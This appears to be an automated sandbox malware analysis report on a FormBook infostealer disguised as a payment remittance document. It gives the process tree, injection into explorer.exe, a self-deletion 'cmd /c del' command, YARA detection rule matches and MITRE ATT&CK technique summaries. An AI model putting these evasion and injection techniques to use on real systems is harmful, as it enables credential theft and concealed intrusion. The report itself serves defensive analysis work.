Analysis Process: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe PID: 3176 Parent PID: 5236

General

Start time:	08:15:35
Start date:	15/09/2021
Path:	C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe'
Imagebase:	0x3c0000
File size:	509952 bytes
MD5 hash:	E29285288905EBB27D9E4443BCAA6638
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.226477640.0000000002862000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe PID: 4180 Parent PID: 3176

General

Start time:	08:15:43
Start date:	15/09/2021
Path:	C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Imagebase:	0x8a0000
File size:	509952 bytes
MD5 hash:	E29285288905EBB27D9E4443BCAA6638
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exe PID: 3388 Parent PID: 4180

General

Start time:	08:15:45
Start date:	15/09/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff714890000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: autoconv.exe PID: 1392 Parent PID: 3388

General

Start time:	08:16:16
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\autoconv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\autoconv.exe
Imagebase:	0x950000
File size:	851968 bytes
MD5 hash:	4506BE56787EDCD771A351C10B5AE3B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: raserver.exe PID: 3652 Parent PID: 3388

General

Start time:	08:16:16
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\raserver.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\raserver.exe
Imagebase:	0xc30000
File size:	108544 bytes
MD5 hash:	2AADF65E395BFBD0D9B71D7279C8B5EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Analysis Process: cmd.exe PID: 912 Parent PID: 3652

General

Start time:	08:16:20
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe'
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 1392 Parent PID: 912

General

Start time:	08:16:21
Start date:	15/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets